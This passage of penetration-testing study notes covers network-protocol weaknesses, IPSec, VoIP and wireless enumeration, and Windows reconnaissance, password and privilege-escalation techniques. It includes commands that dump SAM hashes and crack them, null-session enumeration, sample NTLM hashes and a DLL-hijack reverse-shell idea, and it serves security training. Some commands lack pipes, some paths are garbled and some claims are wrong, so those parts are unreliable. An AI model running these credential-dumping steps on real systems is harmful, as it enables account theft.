- **Message ID:**
    - Similar to email headers, the "Message-ID" field contains a unique identifier for the news message.

# Appendix D: Networking Equipment

## D1 Management Protocols

Weaknesses in the protocols commonly used for the remote management of devices:

- Telnet
- Web based protocols
- SSH
- SNMP (covering network information enumeration and common attacks against Cisco configurations)
- TFTP
- Cisco Reverse Telnet
- NTP

1. **Telnet:**
    - **Attack 1: Packet Sniffing**
        - *Details:* Capture and analyze Telnet packets to extract sensitive information transmitted in plain text.
    - **Attack 2: Man-in-the-Middle (MitM)**
        - *Details:* Intercept Telnet communication between a client and server to eavesdrop or manipulate data.
2. **Web-based Protocols (HTTP/HTTPS):**
    - **Attack 1: SQL Injection**
        - *Details:* Inject malicious SQL queries into web application input fields to compromise the underlying database.
    - **Attack 2: Cross-Site Scripting (XSS)**
        - *Details:* Inject malicious scripts into web pages, potentially compromising user data or session information.
3. **SSH (Secure Shell):**
    - **Attack 1: Brute Force**
        - *Details:* Repeatedly attempt to guess SSH passwords to gain unauthorized access.
    - **Attack 2: Protocol Downgrade**
        - *Details:* Force the use of less secure SSH protocol versions to exploit vulnerabilities.
4. **SNMP (Simple Network Management Protocol):**
    - **Attack 1: SNMP Enumeration**
        - *Details:* Query SNMP-enabled devices to gather information about the network, potentially aiding in further attacks.
    - **Attack 2: Unauthorized Access**
        - *Details:* Exploit weak community strings or misconfigurations to gain unauthorized access to SNMP-enabled devices.
5. **TFTP (Trivial File Transfer Protocol):**
    - **Attack 1: Man-in-the-Middle (MitM)**
        - *Details:* Intercept TFTP transfers to modify transferred files or capture sensitive data.
    - **Attack 2: Unauthorized Access**
        - *Details:* Exploit the lack of authentication in TFTP to gain unauthorized access.

6. **Cisco Reverse Telnet:**
    - **Attack 1: Telnet Vulnerabilities**
        - *Details:* Exploit Telnet weaknesses, such as plaintext transmission, when using Cisco Reverse Telnet.
    - **Attack 2: Unauthorized Access**
        - *Details:* Exploit misconfigurations or weak authentication in Cisco Reverse Telnet to gain unauthorized access.
7. **NTP (Network Time Protocol):**
    - **Attack 1: NTP Amplification**
        - *Details:* Exploit insecure NTP servers to amplify traffic in a DDoS attack.
    - **Attack 2: Time Shifting**
        - *Details:* Manipulate NTP responses to disrupt network time synchronization.

## D2 Network Traffic Analysis

Techniques for local network traffic analysis.
Analysis of network traffic stored in PCAP files.

1. **Packet Sniffing with Wireshark:**
    - **Objective:** Identify the types of protocols used on the local network.
    - **Steps:**
        1. Open Wireshark and select the network interface you want to monitor.
        2. Start capturing packets.
        3. Analyze the packets in real-time or stop the capture and inspect the captured packets.
    - **Example Findings:**
        - Identify the presence of HTTP, DNS, and other protocols.
        - Observe communication patterns between devices.
2. **Flow Analysis:**
    - **Objective:** Understand the connections between devices on the network.
    - **Steps:**
        1. Use Wireshark or other flow analysis tools.
        2. Identify flows based on source and destination IP addresses, ports, and protocols.
        3. Analyze the patterns of communication.
    - **Example Findings:**
        - Discover which devices communicate the most.
        - Identify the most common protocols in use.
3. **Protocol Analysis:**
    - **Objective:** Analyze specific network protocols to understand their behavior.
    - **Steps:**
        1. Focus on a specific protocol (e.g., HTTP).
        2. Inspect the headers and payloads of packets.
        3. Look for anomalies or issues in the protocol.
    - **Example Findings:**
        - Identify HTTP response codes for potential issues.
        - Analyze HTTP headers for security-related information.

**Example: Analysis of Network Traffic Stored in PCAP File**

1. **Wireshark for PCAP Analysis:**

- **Objective:** Investigate a specific incident captured in a PCAP file.
- **Steps:**
    1. Open the PCAP file in Wireshark.
    2. Analyze packet details, applying filters if needed.
    3. Identify the start and end of specific sessions.
- **Example Findings:**
    - Identify a suspicious communication pattern.
    - Examine packet details for signs of malicious activity.

2. **Timeline Analysis:**
- **Objective:** Visualize the chronological order of network events.
- **Steps:**
    1. Use Wireshark or timeline analysis tools.
    2. Create a timeline of network activity.
    3. Identify patterns or anomalies over time.
- **Example Findings:**
    - Discover when a spike in network activity occurred.
    - Identify if there are recurring patterns.

3. **Session Reconstruction:**
- **Objective:** Reconstruct a specific communication session for in-depth analysis.
- **Steps:**
    1. Identify the start and end of a session.
    2. Follow the flow of packets for that session.
    3. Reconstruct the communication.
- **Example Findings:**
    - Understand the complete exchange of data in a specific session.
    - Analyze the content of packets for security issues.
    -

## D3 Networking Protocols

Security issues relating to the networking protocols:
ARP
DHCP
CDP
HSRP
VRRP
VTP
STP
TACACS+

Yersinia : Layer 2 testing tool (STP, CDP, VLAN Trunking, etc)

**ARP (Address Resolution Protocol):**

1. **ARP Spoofing:**
    - **Issue:** Attackers can impersonate legitimate devices by sending fake ARP replies, redirecting traffic to a malicious system.
    - **Mitigation:** Implement ARP spoofing detection mechanisms and use tools like ARPWatch to monitor and alert on suspicious ARP activity.

**DHCP (Dynamic Host Configuration Protocol):**

2. **Rogue DHCP Servers:**
    - **Issue:** Unauthorized DHCP servers can distribute incorrect network configuration parameters, leading to network connectivity issues and potential security risks.
    - **Mitigation:** Use DHCP snooping and implement port security features to prevent rogue DHCP servers.

**CDP (Cisco Discovery Protocol):**

3. **Information Disclosure:**
    - **Issue:** CDP can reveal sensitive information about Cisco devices in the network, potentially aiding attackers in reconnaissance.
    - **Mitigation:** Disable CDP on non-essential interfaces and apply access controls to limit CDP information exposure.

**HSRP (Hot Standby Router Protocol) / VRRP (Virtual Router Redundancy Protocol):**

4. **Authentication Weakness:**
    - **Issue:** HSRP and VRRP may lack strong authentication, making it vulnerable to unauthorized devices taking over as the active router.
    - **Mitigation:** Implement authentication mechanisms (MD5, for example) to secure HSRP and VRRP communications.

**VTP (VLAN Trunking Protocol):**

5. **Unauthorized VLAN Configuration:**
    - **Issue:** If VTP is not properly secured, attackers could inject unauthorized VLAN configuration changes, potentially disrupting network operations.
    - **Mitigation:** Use VTP version 3 with proper domain configuration, and implement VTP password for authentication.

**STP (Spanning Tree Protocol):**

6. **STP Manipulation:**
    - **Issue:** Attackers can manipulate STP to cause network loops or perform man-in-the-middle attacks.
    - **Mitigation:** Use features like BPDU Guard, Root Guard, and implement PortFast where appropriate to secure STP.

**TACACS+ (Terminal Access Controller Access Control System Plus):**

7. **Weak Encryption:**
    - **Issue:** TACACS+ can be vulnerable to attacks if weak encryption methods are used.
    - **Mitigation:** Use strong encryption algorithms and ensure secure key management for TACACS+.

**VLAN**

A switched network that is logically segmented by function, project team, or application, without regard to the physical locations of the users.

VLAN IDs 1002-1005
Token Ring and FDDI VLANs

VLAN IDs greater than 1005
Extended-range VLANs (not stored in the VLAN database)

VLAN IDs 1-1005
Normal-range VLANs

vlan.dat

Configurations for VLAN IDs 1-1005

## D4 IPSec

Enumeration and fingerprinting of devices running IPSec services.

IPSec (Internet Protocol Security) is a suite of protocols used to secure Internet Protocol (IP) communication by authenticating and encrypting each IP packet involved in the communication. Devices running IPSec services can be enumerated and fingerprinted to identify their presence and configurations.

**Enumeration of IPSec Devices:**
**Network Scanning:**

Conduct a network scan to identify devices that respond to IPSec-related protocols (such as ISAKMP/IKE for key exchange).

```
nmap -p 500,4500 <target>
```

Manual Observation:

Manually observe network traffic for IPSec-specific protocols. Tools like Wireshark can be helpful in capturing and analyzing IPSec-related traffic.

**Fingerprinting of IPSec Devices:**

**ISAKMP/IKE Fingerprinting:**

Identify the specific IPSec implementation by analyzing the ISAKMP/IKE negotiation messages. Different implementations may have distinct characteristics.

```
ike-scan <target>
```
This tool can provide information about supported encryption algorithms, hashing algorithms, and vendor-specific information.

**Banner Grabbing:**

Attempt to connect to IPSec services and gather banner information. This can reveal details about the IPSec implementation and version.

```
nc -u <target> 500
```
Sending an ISAKMP/IKE packet and analyzing the response can provide information about the IPSec implementation.

**Protocol-Specific Enumeration:**

For specific IPSec protocols, such as ESP (Encapsulating Security Payload), analyze network traffic to identify supported algorithms and parameters.

```
tshark -i <interface> -f "esp"
```
This command captures and displays network traffic related to the ESP protocol.

## D5 VoIP

Enumeration and fingerprinting of devices running VoIP services.
Knowledge of the SIP protocol.

Enumerating and fingerprinting devices running VoIP (Voice over Internet Protocol) services involves identifying and analyzing systems that support VoIP communication. SIP (Session Initiation Protocol) is a key protocol used in VoIP for initiating and terminating communication sessions. Here are methods for enumeration and fingerprinting of devices running VoIP services, with a focus on SIP:

**Enumeration of VoIP Devices:**

1. **Network Scanning:**
    - Conduct a network scan to identify devices with open ports commonly associated with VoIP services, such as SIP ports (5060-5061).

```
nmap -p 5060,5061 <target>
```

2. **SIP Registration Enumeration:**
    - Enumerate SIP devices by querying the SIP registrar for registered users/extensions.

```
svmap -v -s <target>
```
This command uses **svmap** to scan for SIP devices with registered users/extensions.

3. **SIP OPTIONS Enumeration:**
    - Use a tool like **sipsak** to send SIP OPTIONS requests to enumerate SIP devices and their capabilities.

```
sipsak -s sip:<target>
```
The OPTIONS request can reveal information about the SIP server and supported features.

**Fingerprinting of VoIP Devices:**

1. **SIP Banner Grabbing:**
    - Use tools like **sipsak** or **sipp** to connect to the SIP service and grab banner information, revealing details about the SIP server software and version.

```
sipsak -s sip:<target>
```

2. **SIP Protocol Analysis:**
    - Analyze SIP protocol messages using tools like Wireshark to understand the SIP implementations and extract information about supported codecs and extensions.

```
tshark -i <interface> -f "port 5060"
```

3. **SIP OPTIONS Requests:**
    - Send SIP OPTIONS requests to gather information about supported SIP methods, extensions, and server capabilities.

```
sipsak -s sip:<target>
```

4. **SIP User Enumeration:**
    - Enumerate SIP users/extensions by attempting to register or make calls to discover valid users/extensions on the VoIP system.

```
sipp -sf <script_file> -i <source_ip> <target_ip>:<target_port>
```

This involves creating SIP scripts with known or default usernames and attempting to register or make calls.

**Knowledge of SIP Protocol:**

1. **Understanding SIP Headers:**
    - Familiarize yourself with SIP headers such as **User-Agent**, **Server**, and **Via**. Analyzing these headers during enumeration can provide information about the client and server software.
2. **SIP Response Codes:**
    - Understand SIP response codes (e.g., 200 OK, 404 Not Found) and their meanings. Response codes provide information about the outcome of SIP requests.
3. **Authentication Mechanisms:**
    - Learn about SIP authentication mechanisms, including Digest Authentication, which is commonly used for securing SIP transactions.
4. **SIP Methods:**
    - Understand SIP methods (e.g., INVITE, REGISTER, OPTIONS) and their purposes. Different methods are used for initiating, modifying, and terminating SIP sessions.

SIP Requests/ methods
INVITE
ACK
BYE
CANCEL
OPTIONS
REGISTER
PRACK
SUBSCRIBE
NOTIFY
PUBLISH
INFO
REFER
MESSAGE
UPDATE

## D6 Wireless

Enumeration and fingerprinting of devices running Wireless (802.11) services.
Knowledge of various options for encryption and authentication, and the relative methods of each.
WEP
TKIP
WPA/WPA2
EAP/LEAP/PEAP

Enumeration and fingerprinting of devices running wireless (802.11) services involve identifying and analyzing wireless networks, their security mechanisms, and the devices connected to them. Here are methods for enumeration and fingerprinting, along with an overview of various options for encryption and authentication in wireless networks:

**Wireless Standards**
802.11b - 2.4 GHz 11 Mbps
802.11a - 5 GHz, 54 Mbps
802.11g - 2.4 GHz, 54 Mbps
802.11n - 5 GHz, 108 Mpbs
802.15 - Bluetooth 2.4 GHz

**Enumeration of Wireless Devices:**

1. **Wireless Network Scanning:**
    - Use tools like **airodump-ng** or **Kismet** to scan for nearby wireless networks and gather information about their SSIDs, signal strength, and encryption methods.

```
airodump-ng <interface>
```

2. **Probe Requests and Responses:**
    - Analyze probe requests and responses to identify devices probing for known wireless networks. Tools like **airodump-ng** can capture and display this information.

```
airodump-ng --output-format pcap -w capture <interface>
```

3. **Wi-Fi Client Enumeration:**
    - Use tools like **airmon-ng** and **airodump-ng** to identify devices connected to wireless networks, commonly referred to as Wi-Fi clients.

```
airodump-ng --bssid <target_BSSID> --channel <target_channel> --output-format pcap -w capture <interface>
```

**Fingerprinting of Wireless Devices:**

1. **Wireless Device Fingerprinting:**
    - Use tools like **Netstumbler** or **Kismet** to fingerprint wireless devices based on their unique characteristics, including device types and manufacturers.

```
netstumbler
```

2. **Wi-Fi Packet Analysis:**
    - Analyze captured packets using tools like **Wireshark** to understand the protocols, encryption methods, and authentication mechanisms used by wireless devices.

```
tshark -i <interface> -Y wlan
```

**Encryption and Authentication Methods:**

1. **Wired Equivalent Privacy (WEP):**
    - **Encryption:** Weak and easily crackable encryption.
    - **Authentication:** Open System Authentication or Shared Key Authentication (insecure).
    - **Note:** WEP is deprecated and should not be used for secure wireless communication.
2. **Temporal Key Integrity Protocol (TKIP):**
    - **Encryption:** More secure than WEP but still vulnerable to certain attacks.

- **Authentication:** Typically uses 802.1X/EAP for stronger authentication.

3. **Wi-Fi Protected Access (WPA) / WPA2:**
   - **Encryption:** WPA uses TKIP or AES; WPA2 uses AES for more secure encryption.
   - **Authentication:** Supports various authentication methods, including Pre-Shared Key (PSK) and 802.1X/EAP.
4. **Extensible Authentication Protocol (EAP):**
   - **Authentication:** Framework that supports various authentication methods.
   - **LEAP (Lightweight EAP):** Deprecated and insecure; should not be used.
   - **PEAP (Protected EAP):** Uses a secure tunnel with TLS for authentication.

## D7 Configuration Analysis

Analysing configuration files from the following types of Cisco equipment:
Routers
Switches
Interpreting the configuration of other manufacturers' devices.

Analyzing configuration files from Cisco equipment, including routers and switches, is a common task in network management and security assessments. Cisco devices use a command-line interface (CLI) to configure and manage various settings. Here's a general guide for analyzing configuration files from Cisco routers and switches, as well as tips for interpreting configurations from other manufacturers' devices.

Cisco Routers and Switches Configuration Analysis:
Accessing Configuration:

Use the CLI or a management interface to access the device configuration. Common commands include:

```
show running-config   # Display the running configuration
show startup-config   # Display the startup configuration (saved
configuration)
```

Interface Configuration:

Examine interface configurations for IP addresses, subnet masks, encapsulation settings, and line protocols.

```
show ip interface brief   # Display brief information about interfaces
```

Routing Configuration:

Review routing configurations, including routing protocols, static routes, and routing tables.

```
show ip route   # Display the routing table
show ip protocols   # Display configured routing protocols
```

Security Settings:

Check for security-related settings, such as access control lists (ACLs), NAT configurations, and firewall settings.

```
show access-list   # Display configured access control lists
show ip nat translations   # Display NAT translations
```

Device Management:

Analyze management configurations, including SNMP settings, SSH/Telnet access, and login/authentication parameters.

```
show running-config   include snmp   # Display SNMP configuration
show line   # Display line configurations (SSH, Telnet)
```

# Appendix E: Microsoft Windows Security Assessment

## E1 Domain Reconnaissance

Identifying domains/workgroups and domain membership within the target network.
Identifying key servers within the target domains.
Identifying and analysing internal browse lists.
Identifying and analysing accessible SMB shares.

workgroups, domain memberships, key servers, internal browse lists, and accessible SMB (Server Message Block) shares within a target network. This reconnaissance is part of the initial phase of ethical hacking and security assessments to understand the structure and potential vulnerabilities of the network.

**Identifying Domains/Workgroups and Domain Membership:**

1. **Network Scanning:**
    - Utilize tools like Nmap to discover active hosts on the network and identify their open ports.

```
nmap -p 135,139,445 <target>
```

2. **NetBIOS Enumeration:**
    - Use tools like **nbtscan** or **enum4linux** to enumerate NetBIOS information, including domains and workgroups.

```
nbtscan <target>
```

```
enum4linux -A <target>
```

3. **DNS Zone Transfer:**
    - If DNS zone transfers are allowed, attempt to perform a zone transfer to gather information about the domain.

```
nslookup > server <target> > ls -d example.com
```

**Identifying Key Servers:**

1. **Service Identification:**
    - Identify key servers by analyzing open ports and services. Focus on ports commonly associated with domain services, such as 389 (LDAP) and 3268 (Global Catalog).

```
nmap -p 389,3268 <target>
```

2. **LDAP Enumeration:**
    - Use LDAP enumeration tools (e.g., ldapsearch) to gather information about the LDAP directory structure and key servers.

```
ldapsearch -x -h <target> -b "dc=example,dc=com" -s sub -D "username" -W
```

**Identifying and Analyzing Internal Browse Lists:**

1. **NetBIOS Enumeration:**
    - Continue to use NetBIOS enumeration tools to gather internal browse lists and information about neighboring systems.

```
nbtscan <target>
```

```
enum4linux -A <target>
```

**Identifying and Analyzing Accessible SMB Shares:**

1. **SMB Enumeration:**
    - Use tools like **enum4linux** or **smbmap** to identify accessible SMB shares on target systems.

```
enum4linux -S <target>
```

```
smbmap -H <target>
```

2. **Null Sessions:**
    - Attempt null sessions to gather additional information about accessible shares and permissions.

```
rpcclient -U "" <target>
```

3. **SMB Client Enumeration:**
    - Use the SMB client (**smbclient**) to interactively browse and list shares on the target.

```
smbclient -L //<target>
```

## E2 User Enumeration

Identifying user accounts on target systems and domains using NetBIOS, SNMP and LDAP.

User enumeration is a common phase in penetration testing and security assessments where the goal is to identify user accounts on target systems and domains. Various protocols, such as NetBIOS, SNMP, and LDAP, can be leveraged for this purpose. It's important to note that user enumeration should only be performed on systems where you have explicit authorization to do so.

**1. NetBIOS User Enumeration:**

NetBIOS (Network Basic Input/Output System) is an API that allows applications on separate computers to communicate. It's often used to identify users and shares on Windows-based systems.

a. **nbtscan:**

- Use the **nbtscan** tool to perform NetBIOS enumeration and identify active hosts, users, and shares.

```
nbtscan <target>
```

b. **enum4linux:**

- The **enum4linux** tool can be used to extract user and group information through NetBIOS.

```
enum4linux -U -G -o <target>
```

**2. SNMP User Enumeration:**

SNMP (Simple Network Management Protocol) is a protocol used for network management. SNMP enumeration involves querying SNMP services on devices to extract information, including user accounts.

a. **SNMP Enumeration Tools:**

- Use SNMP enumeration tools like **onesixtyone** or **snmpwalk** to query SNMP devices for user information.

```
onesixtyone -c public <target>
```

```
snmpwalk -c public -v1 <target> 1.3.6.1.2.1.25.1.5
```

**3. LDAP User Enumeration:**

LDAP (Lightweight Directory Access Protocol) is a directory service protocol used for accessing and managing distributed directory information services.

a. **ldapsearch:**

- Use the **ldapsearch** tool to query an LDAP server for user information.

```
ldapsearch -x -h <target> -b "dc=example,dc=com" -s sub -D "username" -W
```

This command queries the LDAP server, starting at the base DN ("dc=example,dc=com"), and retrieves user information.

## E3 Active Directory

Active Directory Roles (Global Catalogue, Master Browser, FSMO)
Reliance of AD on DNS and LDAP
Group Policy (Local Security Policy)

**Active Directory Roles:**

Active Directory (AD) is a directory service developed by Microsoft for Windows domain networks. It includes various roles that play critical functions in the network infrastructure.

1. **Global Catalog (GC):**
    - The Global Catalog is a distributed data repository that contains a searchable, partial representation of every object in every domain within a forest.
    - **Importance:** It facilitates efficient and fast searches for objects within the entire forest.
2. **FSMO Roles (Flexible Single Master Operations):**
    - These are roles that are assigned to one or more domain controllers to manage specific operations in an AD forest.
    - **Roles:**
        - **Schema Master:** Manages updates to the schema.
        - **Domain Naming Master:** Manages changes to the forest's domain namespace.
        - **RID Master (Relative ID):** Allocates unique security identifiers (SIDs) to objects.
        - **PDC Emulator (Primary Domain Controller):** Provides backward compatibility for earlier Windows NT domain controllers.
        - **Infrastructure Master:** Manages cross-domain object references.

**Reliance of AD on DNS and LDAP:**

1. **DNS (Domain Name System):**
    - Active Directory heavily relies on DNS for name resolution. AD domains are closely tied to DNS namespaces, and DNS is used to locate domain controllers.
    - **SRV Records:** AD uses DNS SRV records to locate services such as domain controllers and global catalog servers.
2. **LDAP (Lightweight Directory Access Protocol):**
    - LDAP is the protocol used by AD for accessing and managing directory services. It provides a standard way to communicate with the directory.

- **LDAP Queries:** AD clients and services use LDAP queries to retrieve information from the AD database.

**Group Policy (Local Security Policy):**

1. **Group Policy:**
    - Group Policy in Active Directory is a set of rules that control the working environment of user accounts and computer accounts. It allows administrators to manage settings centrally.
    - **Key Aspects:**
        - **Security Settings:** Enforce security configurations across the domain.
        - **Software Installation:** Deploy and manage software installations on client machines.
        - **Script Execution:** Run scripts on client machines for various purposes.
        - **Desktop Settings:** Configure desktop environments and user preferences.
2. **Local Security Policy:**
    - The Local Security Policy is a standalone tool on Windows machines that allows administrators to configure security settings on an individual machine.
    - **Local Policies:**
        - **Audit Policy:** Configure audit settings for the local machine.
        - **User Rights Assignment:** Define what actions users are allowed to perform on the machine.
        - **Security Options:** Configure various security-related options.

# CMD

```
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
```

# PS

```
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser   ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force   select Name
Get-LocalGroupMember Administrators   ft Name, PrincipalSource
```

## E4 Windows Passwords

Password policies (complexity, lockout policies)
Account Brute Forcing
Hash Storage (merits of LANMAN, NTLMv1 / v2)
Offline Password Analysis (rainbow tables / hash brute forcing)

LM Hash
Primary Windows LAN hash before Windows NT. 14 character limit.

**Windows Passwords:**
Password Policies:

1. **Complexity Policies:**
    - Enforce the use of complex passwords containing a combination of uppercase and lowercase letters, numbers, and special characters.
2. **Lockout Policies:**
    - Define policies that lock out user accounts after a certain number of incorrect login attempts. This helps prevent brute force attacks.

Account Brute Forcing:

1. **Brute Force Attacks:**
    - Attackers attempt to gain unauthorized access by systematically trying all possible combinations of passwords until the correct one is found.
    - **Mitigation:** Account lockout policies, CAPTCHAs, and multi-factor authentication (MFA) can help mitigate brute force attacks.

**Hash Storage:**
Merits of LANMAN, NTLMv1/v2:

1. **LANMAN (Deprecated):**
    - LANMAN (LM) is an older, insecure password hashing algorithm used in older Windows systems.
    - **Merits:** None from a security standpoint; it's vulnerable to rainbow table attacks.
2. **NTLMv1:**
    - NTLMv1 is an improvement over LANMAN but is still vulnerable to certain attacks.
    - **Merits:** Stronger than LANMAN but susceptible to pass-the-hash attacks.
3. **NTLMv2:**
    - NTLMv2 is a more secure version of NTLM and is resistant to pass-the-hash attacks.
    - **Merits:** Provides stronger security compared to LANMAN and NTLMv1.

**Offline Password Analysis:**
Rainbow Tables / Hash Brute Forcing:

1. **Rainbow Tables:**
    - Precomputed tables of hash values for all possible password combinations. Attackers use these tables to quickly find the corresponding plaintext for a given hash.
    - **Mitigation:** Salting passwords before hashing makes precomputed tables less effective.
2. **Hash Brute Forcing:**
    - Attackers attempt to guess passwords by hashing potential passwords and comparing the results with stored hash values.

- **Mitigation:** Strong password policies, account lockout mechanisms, and monitoring for suspicious activities help mitigate hash brute force attacks.

3. **Here's a table summarizing the information about NTLM versions, including hash**

| NTLM Version | Hash Generation | Security Features | Example Hash Format |
|---|---|---|---|
| NTLMv1 | MD4 | Vulnerable to certain attacks | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` |
| NTLMv2 | MD5, HMAC-MD5 | Challenge-response, time stamp, TIB | `5FBBAB58D83EFC28:0101000000000000F22CC1490C13E79A:username:DOMAIN` |
| NTLMv2 Session Security | MD5, HMAC-MD5 | Session security | `6A9FB3450E302FD1FADDA9AD25B4DFF5:0101000000000000C4D1ADAE4A11D501:username:DOMAIN` |

- generation, security features, and an example hash format:
- In the "Example Hash Format" column, the placeholders (e.g., <LMHash>, <NTHash>) represent actual hash components. The example hashes are provided for illustration purposes and do not correspond to real passwords or challenges.

**LANMAN**
https://en.wikipedia.org/wiki/LAN_Manager

LAN Manager is an obsolete authentication protocol, with its final release in 1994.

Password Weakness: 14 characters only, all upper case.

New Technology LAN Manager(NTLM)
https://en.wikipedia.org/wiki/NT_LAN_Manager

**NTLM** is not recommended to be used by Microsoft since 2010, but it is still widely used and deployed, especially in AD environments.

Famous attack is pass-the-hash attack, where once we have gotten the NTLM hash, we can use it to get into authenticated places. Used in SMB, and lateral movements.

https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4

**Sample NTLM hash**

u4-

```
netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c
```

```
admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030
```

Source: Peter Gombos, 20 Feb 2018, "LM, NTLM, Net-NTLMv2, oh my!"

**Different fields in the LM hash format**

First field: the username
Second field: the SID (Security IDentifier) for that username
Third field: the LM hash
Forth field: the NTLM hash
https://vk9-sec.com/windows-password-hashes/

**Offline Password Analysis (rainbow tables / hash brute forcing)**

Hydra, John the Ripper with wordlists, Rainbowcrack
https://project-rainbowcrack.com/
https://github.com/vanhauser-thc/thc-hydra
https://tools.kali.org/password-attacks/hydra

## E5 Windows Vulnerabilities

Knowledge of remote windows vulnerabilities, particularly those for which robust exploit code exists in the public domain.
Knowledge of local windows privilege escalation vulnerabilities and techniques.
Knowledge of common post exploitation activities:

obtain password hashes, both from the local SAM and cached credentials
obtaining locally stored clear text passwords
crack password hashes
check patch levels
derive list of missing security patches
reversion to previous state

Knowledge of remote windows vulnerabilities, particularly those for which robust exploit code exists in the public domain.

| Name | Desc | cve/ms |
|---|---|---|
| EternalBlue | SMB vulerability | ms17-010 |

Knowledge of local windows privilege escalation vulnerabilities and techniques.

| Name | Desc | cve/ms/remarks |
|---|---|---|
| Pass the hash | reuse of NTLM hash | Mimikatz |
| Silver/Golden Ticket | reuse of NTLM hash | Mimikatz. Lateral movement. |
| Cached passwords | - | - |
| Session Highjacking | - | - |
| Token Manipulation | - | - |
| Unquoted service paths | - | Unquoted service paths are not escaped, and windows will look for the file name without spaces, before it looks for file names with spaces. If a service is called Image Viewer, we might be able to execute a payload named "Image". Windows will try to run Image first, before considering other file names with spaces. |

| Name | Desc | cve/ms/remarks |
|---|---|---|
| DLL highjacking | - | If we have write permissions to a binary dependency folder used by services, we can overite the DLL to a reverse shell payload, or other payloads. |
| Registry modifications | - | E.g. if in registry a service executes a binary, and we can change the binary location from registry value, we can achieve code execution if it is on elevated privileges. |
| Autorun | - | - |
| Bad write permissions | - | - |

Knowledge of common post exploitation activities:
• obtain password hashes, both from the local SAM and cached credentials
• obtaining locally-stored clear-text passwords
• crack password hashes
• check patch levels
• derive list of missing security patches
• reversion to previous state

## SAM credential dump

SAM = Security Accounts Manager (SAM) On windows victim machine

```
reg save hklm\system system
reg save hklm\sam sam
```

On Attacker Kali

```
samdump2 system sam
```

## Hash Cracking

We can use hashcat. Hash.txt will have the hashes saved into it.

```
john --format=lm hash.txt
hashcat -m 3000 -a 3 hash.txt
```

## Check patch levels

```
wmic qfe get Caption,Description,HotFixID,InstalledOn
```

## derive list of missing security patches

We can use some vulnerability scanners like Nessus, WindowsExploitSuggester. https://msrc.microsoft.com/update-guide

**Workflow**: Check the patches from wmic, see when the latest patch is, refer to windows update patches to check the date. The date is useful to help narrow down which exploits we can use. **Any exploit created after the patch date is more likely to work**.

Reversion to previous state

https://www.lifewire.com/how-to-start-system-restore-from-the-command-prompt-2624522

If system restore data is available, we can try it.

```
rstrui.exe
```

This attack vector is rarely seen, but good to know.

| Variable | Path | Description |
|---|---|---|
| %SYSTEt~ROOT% | Typically C:\Windows | Environment variable representing the system root directory. |
| %SYSTEMROOT%\System32\drivers\etc\hosts | C:\Windows\System32\drivers\etc\hosts | Hosts file that maps IP addresses to hostnames. |
| %SYSTEMROOT%\System32\drivers\etc\networks | C:\Windows\System32\drivers\etc\networks | Networks file containing network names. |
| %SYSTEt~ROOT% \ system32 \ config\SAM | C:\Windows\system32\config\SAM | Security Account Manager containing user password hashes. |
| %SYSTEMROOT%\repair\SAt~ | C:\Windows\repair\SAM | Backup copy of the SAM file. |
| %SYSTEMROOT%\System32\config\RegBack\SAt~ | C:\Windows\System32\config\RegBack\SAM | Backup copy of the SAM file from the registry. |
| %WINDIR%\system32\config\AppEvent.Evt | C:\Windows\system32\config\AppEvent.Evt | Application Event Log. |
| %WINDIR%\system32\config\SecEvent.Evt | C:\Windows\system32\config\SecEvent.Evt | Security Event Log. |
| %ALLUSERSPROFILE%\Start Menu\Programs\Startup\ | C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup | Startup folder for all users. |
| %USERPROFILE%\Start Menu\Programs\Startup\ | C:\Users<Username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup | Startup folder for the current user. |
| %SYSTEMROOT%\Prefetch | C:\Windows\Prefetch | Prefetch directory for executable logs. |

## E6 Windows Patch Management Strategies

Knowledge of common windows patch management strategies:

SMS
SUS
WSUS
MBSA

**1. SMS (Systems Management Server):**
- **Description:**
  - SMS, now known as Microsoft System Center Configuration Manager (SCCM), is a comprehensive systems management solution.
  - Originally focused on software distribution, it has evolved to include patch management, software deployment, and other management tasks.
- **Patch Management with SMS:**
  - SMS/SCCM allows administrators to deploy patches, updates, and software packages across a network.
  - It provides centralized control over the distribution of updates and patches.

**2. SUS (Software Update Services):**
- **Description:**
  - SUS, which later evolved into Windows Server Update Services (WSUS), is a Microsoft tool for managing the distribution of updates released through Microsoft Update to computers in a corporate environment.
- **Patch Management with SUS:**
  - SUS/WSUS allows administrators to deploy updates to Microsoft products.
  - It provides a centralized server for storing and approving updates before distribution to client machines.

**3. WSUS (Windows Server Update Services):**
- **Description:**
  - WSUS is the successor to SUS and is a Microsoft tool for managing the distribution of updates released through Microsoft Update to computers in a corporate environment.
- **Patch Management with WSUS:**
  - WSUS provides a central management console for approving and distributing updates.
  - It allows organizations to control which updates are deployed and when.

**4. MBSA (Microsoft Baseline Security Analyzer):**
- **Description:**
  - MBSA is a tool designed to identify common security misconfigurations and missing security updates across different Microsoft products.
- **Patch Management with MBSA:**
  - MBSA scans Windows-based systems for security vulnerabilities and missing patches.
  - It provides reports on the security status of scanned systems and recommendations for remediation.

## E7 Desktop Lockdown breakout

Knowledge and understanding of techniques to break out of a locked down Windows desktop / Citrix environment. Privilege escalation techniques.
See E5.

## E8 Exchange

Knowledge of common attack vectors for Microsoft Exchange Server.
https://en.wikipedia.org/wiki/Microsoft_Exchange_Server

MS Exchange server is a mail exchange server.

Weak to wordlist credential attacks (credential stuffing).
Attacks may come from other services in the ASP.NET web framework.

## E9 Common Windows Applications

Knowledge of significant vulnerabilities in common windows applications for which there is public exploit code available.

Some common in Windows Applications vulnerabilities:

EternalBlue for SMB
NetBIOS information leakage.
SMB leakage.
RDP attacks.
Anything with anonymous login.

# Appendix H: Web Testing Methodologies

## H1 Web Application Reconnaissance

Benefits of performing application reconnaissance. Discovering the structure of web applications. Methods to identify the use of application components defined in G1 to G9.

**Benefits**
Gives clear view of possible attack vectors.

**Enumeration (Discovery)**
**General enumeration**
